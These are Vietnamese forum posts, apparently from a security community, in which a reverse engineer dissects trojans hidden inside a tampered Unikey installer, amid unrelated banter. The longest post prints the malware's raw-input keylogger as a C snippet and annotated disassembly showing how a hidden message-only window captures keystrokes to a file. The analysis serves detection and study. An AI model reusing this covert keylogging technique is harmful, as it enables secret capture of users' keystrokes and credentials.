|
|
Mẫu của covirut chỉ có file v1.db là malware. Nó chứa trong bụng (resource) một biến thể lạ của bộ BackupSvc hồi xưa. Extract ra, quét = KIS không phát hiện ra.
|
|
|
Bản dieucay đang dùng cũng là bản tui đang dùng. Bản sạch đấy, an tâm.
Kiểm tra trên MD5 không chính xác đâu.
|
|
|
Em có cảm giác là lạ, vụ này xảy ra có liên quan gì đó đến vụ BKAV. Lôi kéo bớt dư luận qua đây à. Cho chìm xuồng bên đó à ?
Ai cũng biết mấy anh coder BKAV toàn code = VC++ không à ?
Nói thật thời gian này em không có nhiều thời gian ngồi máy, mong các anh em RCE khác của HVA ta ra tay, đập cho nát đầu cái đám stl này. Bây giờ còn đòi sống lại, cài trojan vào các máy để tìm hacker à ?
Và em cũng dám chắc, vụ này, Unikey trang chủ bị dính trojan, đám BKAV sẽ im phăng phắc. Nhục quá đi mất !?
|
|
|
Còn ai trồng khoai đất này nữa, sơ bộ quen thuộc lắm: CString của ATL/MFC, rút trong resource ra, giải mã, extract vào temp, tự xoá khi reboot, CreateProcess.
Mấy anh stl sau một thời gian vắng bóng luyện công mà code chả lên tay gì cả.
Hồi xưa em đã nói, mấy anh cứ vẽ rồng vẽ rắn gì mặc kệ. Em cứ breakpoint trong Olly, IDA tại CreateFileW, WriteFile, CloseHandle, CreateProcessW, ShellExecuteW là tóm được em bé đính kèm hết. Hơi sức đâu mà phân tích hết cái đống code.
Nhìn các nick đang đọc, lại thấy quen quen, nhớ hồi xưa, vd cậu xxthang, lúc nào cũng có mặt đầu tiên.
|
|
|
Đã extract ra được 3 file. 1 file là unikeynt.exe gốc, 2 ông kia là "mèo què". Em xin tuyên bố: chính danh code của stl. Code quá quen rồi.
Tạm dừng phân tích cho xong tasklist.exe và systeminfo.exe thôi. Tập trung vào đây.
|
|
|
Má ơi, vừa về nhà, được bolzano gởi PM link file, mới coi cái unikey40-RC2, đúng là có đính kèm em bé, code VC++ 2010. Đang tranh thủ giải khát với vài lon 33, vừa extract 3 file trojan nhúng trong resource của unikey, mạo danh TypeLib resource.
Mùi này nghe quen quen, code của stl nữa à !
Tội em quá mấy anh, mấy anh cho em rữa tay cắt kiếm cái. Giờ em phải hàn kiếm, mài lại nữa à ?
|
|
|
Tới bây giờ, em vẫn thấy mình là newbie trong RCE. Em thấy các câu này luôn luôn đúng:
1. Thiên hạ lắm người tài giỏi hơn mình.
2. Núi này cao còn có núi khác cao hơn.
Thậm chí trong nhiều lãnh vực, mình là thằng có học, có chút kiến thức, vậy mà lại không bằng một anh nông dân, một anh thợ bình thường.
Tui đố tất cả anh em trong đây, đa số là trình độ SV, ĐH, anh nào dám đứng ra chế máy bay trực thăng, chế các máy phục vụ nông nghiệp đơn giản nhưng lại làm giàu được, được bằng khen của Bô... Đơn giản, thiết thực, hiệu quả, giống như công trình của bác Mai vừa rồi.
Vì vậy, trèo núi "quài" mệt quá, nghỉ luôn cho khỏe cho rồi
|
|
|
Nó ngủ rồi thì để nó ngủ đi em, đánh thức nó dậy làm chi, khổ lắm.
|
|
|
Đàn ông phải mạnh mẽ, cứng rắn lên chứ, đừng bao giờ luỵ vì tình. Càng yếu đuối, van xin thì càng không được gì, càng bị gái khinh. Bỏ em đó cái rẹt đi, kiếm em khác, tui khuyên vậy.
Hồi xưa, khi chưa vợ, tui hay nói với các em út: cái gì của mình thì sẽ là của mình, vứt đâu thì nó cũng bò vê. Và phang thêm câu đe doạ: anh cầm lên được thì bỏ xuống được.
Hì hì, nhờ vậy mà chưa bao giờ nếm mùi thất tình, toàn là mình "thất" người khác thôi
|
|
|
Đúng đấy bolzano. Đọc cái này nhớ lại code xor của stl hồi xưa, 3 xor 5 xor 7.
|
|
|
a xor b có bằng b xor a không ?
|
|
|
File đó là file của Windows, không phải virus.
Khi Win bi dump, lúc restart, tuỳ config mà savedump hay dumprep sẽ được gọi. Nó thực hiện tác vụ tạo file dump hay minidump, clear cờ gọi nó.
Vì lý do nào đó mà cờ này vẫn còn nên savedump bị Win gọi liên tục khi khởi động.
|
|
|
Em cũng muốn tham gia làm thêm, kiếm thêm ít tiền nhậu, nhưng kẹt một cái là em chả có cái chứng chỉ gì cả, ngay đến cái bằng ĐH IT cũng không có. Buồn thiệt !
|
|
|
Open window TypeLib, insert thêm typelib của các DDK vào là sẽ có.
|
|
|
xnohat wrote:
@TQN: tớ không hiểu sao Gialai, Komtum, Daklak ... luôn là nơi phát tích rất nhiều cái tên rất nổi tiếng trong giới kỹ thuật ( giờ tính thêm lão nữa thì vấn đề này lại càng dc khẳng định )
Vụ này thì em không dám nhận à nhe, tha cho em. Dân Gialai em chỉ có bầu Đức, Quốc Cường Gialai thì nổi tiếng về KD thôi, chứ về kỹ thuật thì em không biết !
Dân Gialai em được cái uống cafe nguyên chất, thơm, ngon, không pha lạt như nước đường như ở nơi khác thôi, phải không đồng hương McSteven
|
|
|
Tội nghiệp em Uyên Phi, chỉ vì một bài bị xoá, một bài thắc mắc mà bao nhiêu admin, mod nhảy vào, phang em tới tấp.
Đừng phang em nha bà con, em Uyên Phi này chắc chắcl là đồng môn ĐHBK.TPHCM của em, nhỏ hơn em vài khoá, nên em nhảy vào "binh" em thôi !
|
|
|
Cậu haipt hỏi câu " Cậu đã có nhà ở HN chưa" là đụng chạm, xúc phạm với dân ngoài đó nhiều lắm đấy nhé !
|
|
|
Hì hì, em thì chỉ nghĩ là stl phải nhắc nhiều nhất là Hà Nội hay Hải Phòng thôi ! Phải không anh conmale. Cho đáp án đi anh Đừng có nói là tụi nó nhắc tới Gialai quê em nhé
|
|
|
Cái này thì em đồng ý với anh conmale. Em cũng là dân code, nhưng khi tái tạo lại source code của stl, thì em cứ quái, khùng không vầy trời ???
stl coder dùng rất nhiều kỹ thuật cao, ít phổ biến trong lập trình hệ thống trên Win32, nhưng khi mang các kỹ thuật đấy vào code thì lại code rất ngớ ngẩn, bug tá lã. Coding style tùm lum, không thống nhất, giống như anh em coder nhà ta code outsource, miển chạy, lấy tiền là được rồi.
Vd nhé, trên cái hàm MSDataWndProc em vừa post, trước giờ stl coder hay và đang xài malloc, new, tự dưng lại phang vô HeapAlloc(GetProcessHeap(), size). Rồi khi CloseHandle, HeapFree thì lại không thèm check parameter truyền vào. May mà các API của Windows đã check, không thì crash cả đống "mèo què" hết.
Để em đoán nhé, cái địa danh xuất hiện nhiều nhất có phải là Sandrex không anh conmale ?
|
|
|
Sợ chưa đủ, keylog không hết, stl coder còn phang thêm một cách keyboard log khác, dùng WM_INPUT và RawInput. Kỹ thuật này ít phổ biến nên có thể có bạn chưa biết. Tôi trình bày luôn:
Trong các ThreadProcInxxx trên, stl tạo một window có size = 0, pos = 0, thuộc tính là HWND_MESSAGE. Tức window này sẽ luôn luôn nhận message cho dù nó có hidden, lost focus hay không.
Code:
memset(&wcex, 0, 0x30u);
wcex.cbSize = 48;
wcex.lpfnWndProc = MSDataWndProc;
wcex.hInstance = GetModuleHandleA(0);
wcex.lpszClassName = "msdata";
RegisterClassExA(&wcex);
CreateWindowExA(0, "msdata", "msdata", 0, 0, 0, 0, 0, HWND_MESSAGE, 0, hInstance, 0);
..........
Và code ASM của MSDataWndProc:
Code:
.text:10001888 ON_WM_CREATE: ; DATA XREF: .text:WMHandlerTableo
.text:10001888 01C mov eax, [ebp+hWnd]
.text:1000188B 01C push 0Ch ; cbSize
.text:1000188D 020 push 1 ; uiNumDevices
.text:1000188F 024 lea ecx, [ebp+rawInputDevices]
.text:10001892 024 push ecx ; pRawInputDevices
.text:10001893 028 mov dword ptr [ebp+rawInputDevices.usUsagePage], 60001h
.text:1000189A 028 mov [ebp+rawInputDevices.dwFlags], RIDEV_INPUTSINK
.text:100018A1 028 mov [ebp+rawInputDevices.hwndTarget], eax
.text:100018A4 028 call ds:RegisterRawInputDevices
.text:100018A4
.text:100018AA 01C test eax, eax
.text:100018AC 01C jnz @@Return_0
.text:100018AC
.text:100018B2 01C or eax, 0FFFFFFFFh
.text:100018B5 01C pop edi
.text:100018B6 018 pop esi
.text:100018B7 014 pop ebx
.text:100018B8 010 mov esp, ebp
.text:100018BA 004 pop ebp
.text:100018BB 000 retn 10h
.text:100018BB
.text:100018BE ; ---------------------------------------------------------------------------
.text:100018BE
.text:100018BE ON_WM_INPUT: ; CODE XREF: MSDataWndProc+21j
.text:100018BE ; DATA XREF: .text:WMHandlerTableo
.text:100018BE 01C mov edi, [ebp+cbSize]
.text:100018C1 01C mov ebx, ds:GetRawInputData
.text:100018C7 01C push 16 ; cbSizeHeader
.text:100018C9 020 lea edx, [ebp+cbSize]
.text:100018CC 020 push edx ; pcbSize
.text:100018CD 024 push 0 ; pData
.text:100018CF 028 push RID_INPUT ; uiCommand
.text:100018D4 02C push edi ; hRawInput
.text:100018D5 030 call ebx ; GetRawInputData
.text:100018D5
.text:100018D7 01C mov eax, [ebp+cbSize]
.text:100018DA 01C push eax ; dwBytes
.text:100018DB 020 push 0 ; dwFlags
.text:100018DD 024 call ds:GetProcessHeap
.text:100018DD
.text:100018E3 024 push eax ; hHeap
.text:100018E4 028 call ds:HeapAlloc
.text:100018E4
.text:100018EA 01C push 10h ; cbSizeHeader
.text:100018EC 020 lea ecx, [ebp+cbSize]
.text:100018EF 020 push ecx ; pcbSize
.text:100018F0 024 mov esi, eax
.text:100018F2 024 push esi ; pData
.text:100018F3 028 push RID_INPUT ; uiCommand
.text:100018F8 02C push edi ; hRawInput
.text:100018F9 030 call ebx ; GetRawInputData
.text:100018F9
.text:100018FB 01C test eax, eax
.text:100018FD 01C jz short @@FreeMem_And_Return_0
.text:100018FD
.text:100018FF 01C cmp [esi+RAWINPUTHEADER.dwType], RIM_TYPEKEYBOARD
.text:10001902 01C jnz short @@FreeMem_And_Return_0
.text:10001902
.text:10001904 01C cmp [esi+RAWINPUT.data.keyboard.Message], WM_KEYFIRST
.text:1000190B 01C jnz short @@FreeMem_And_Return_0
.text:1000190B
.text:1000190D 01C movzx ecx, [esi+RAWINPUT.data.keyboard.VKey] ; uCode
.text:10001911 01C call save_key_to_msdata_vxd_file
.text:10001911
.text:10001916 01C cmp eax, 0FFFFFFFFh
.text:10001919 01C jnz short @@FreeMem_And_Return_0
.text:10001919
.text:1000191B 01C mov edx, [ebp+hWnd]
.text:1000191E 01C push edx ; hWnd
.text:1000191F 020 call dsestroyWindow
.text:1000191F
.text:10001925
.text:10001925 @@FreeMem_And_Return_0: ; CODE XREF: MSDataWndProc+9Dj
.text:10001925 ; MSDataWndProc+A2j
.text:10001925 ; MSDataWndProc+ABj
.text:10001925 ; MSDataWndProc+B9j
.text:10001925 01C push esi ; lpMem
.text:10001926 020 push 0 ; dwFlags
.text:10001928 024 call ds:GetProcessHeap
.text:10001928
.text:1000192E 024 push eax ; hHeap
.text:1000192F 028 call ds:HeapFree
.text:1000192F
.text:10001935 01C xor eax, eax
.text:10001937 01C pop edi
.text:10001938 018 pop esi
.text:10001939 014 pop ebx
.text:1000193A 010 mov esp, ebp
.text:1000193C 004 pop ebp
.text:1000193D 000 retn 10h
.text:1000193D
.text:10001940 ; ---------------------------------------------------------------------------
.text:10001940
.text:10001940 ON_WM_DESTROY: ; CODE XREF: MSDataWndProc+21j
.text:10001940 ; DATA XREF: .text:WMHandlerTableo
.text:10001940 01C mov eax, g_hFile_Msdatavxd
.text:10001945 01C cmp eax, 0FFFFFFFFh
.text:10001948 01C jz short @@Quit
.text:10001948
.text:1000194A 01C push eax ; hObject
.text:1000194B 020 call ds:CloseHandle
.text:1000194B
.text:10001951
.text:10001951 @@Quit: ; CODE XREF: MSDataWndProc+E8j
.text:10001951 01C push 0 ; nExitCode
.text:10001953 020 call dsostQuitMessage
.text:10001953
.text:10001959
.text:10001959 @@Return_0: ; CODE XREF: MSDataWndProc+4Cj
.text:10001959 01C xor eax, eax
.text:1000195B 01C pop edi
.text:1000195C 018 pop esi
.text:1000195D 014 pop ebx
.text:1000195E 010 mov esp, ebp
.text:10001960 004 pop ebp
.text:10001961 000 retn 10h
.text:10001961
.text:10001964 ; ---------------------------------------------------------------------------
.text:10001964
.text:10001964 ON_WM_QUERYENDSESSION: ; CODE XREF: MSDataWndProc+21j
.text:10001964 ; DATA XREF: .text:WMHandlerTableo
.text:10001964 01C call SavePowerOffTime
.text:10001964
.text:10001969 01C push 0 ; uExitCode
.text:1000196B 020 call ds:ExitProcess
.text:1000196B
.text:10001971 ; ---------------------------------------------------------------------------
.text:10001971
.text:10001971 DefaultHandler: ; CODE XREF: MSDataWndProc+14j
.text:10001971 ; MSDataWndProc+21j
.text:10001971 ; DATA XREF: .text:WMHandlerTableo
.text:10001971 01C mov eax, [ebp+cbSize]
.text:10001974 01C mov edx, [ebp+wParam]
.text:10001977 01C push eax ; lParam
.text:10001978 020 mov eax, [ebp+hWnd]
.text:1000197B 020 push edx ; wParam
.text:1000197C 024 push ecx ; Msg
.text:1000197D 028 push eax ; hWnd
.text:1000197E 02C call dsefWindowProcA
.text:1000197E
.text:10001984 01C pop edi
.text:10001985 018 pop esi
.text:10001986 014 pop ebx
.text:10001987 010 mov esp, ebp
.text:10001989 004 pop ebp
.text:1000198A 000 retn 10h
.text:1000198A
.text:1000198A MSDataWndProc endp
Hàm save_key_to_msdata_vxd_file cũng gần tương tự như code của hàm KbdHookProc.
Mong được các bạn đóng góp kết quả RCE của các bạn, các thắc mắc, trao đổi...
|
|
|
|
|
|
|